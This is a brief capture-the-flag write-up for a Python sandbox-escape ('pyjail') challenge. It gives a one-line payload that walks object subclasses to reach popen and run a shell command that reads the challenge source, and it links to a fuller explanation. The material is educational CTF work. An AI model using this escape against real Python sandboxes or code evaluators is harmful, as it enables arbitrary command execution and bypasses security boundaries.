They are countless ways to espape this pyjail. The easiest way to get a command execution in most pyjails is to find a way to either the __import__ function, or directly to the os module. In this case, the payload is the following :
print(().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat pyjail.py').read())The detailed steps of this method are described here : https://ctftime.org/writeup/25816
But like I said, you probably found your own way, as this pyjail was pretty open x). The next should not be that easy !
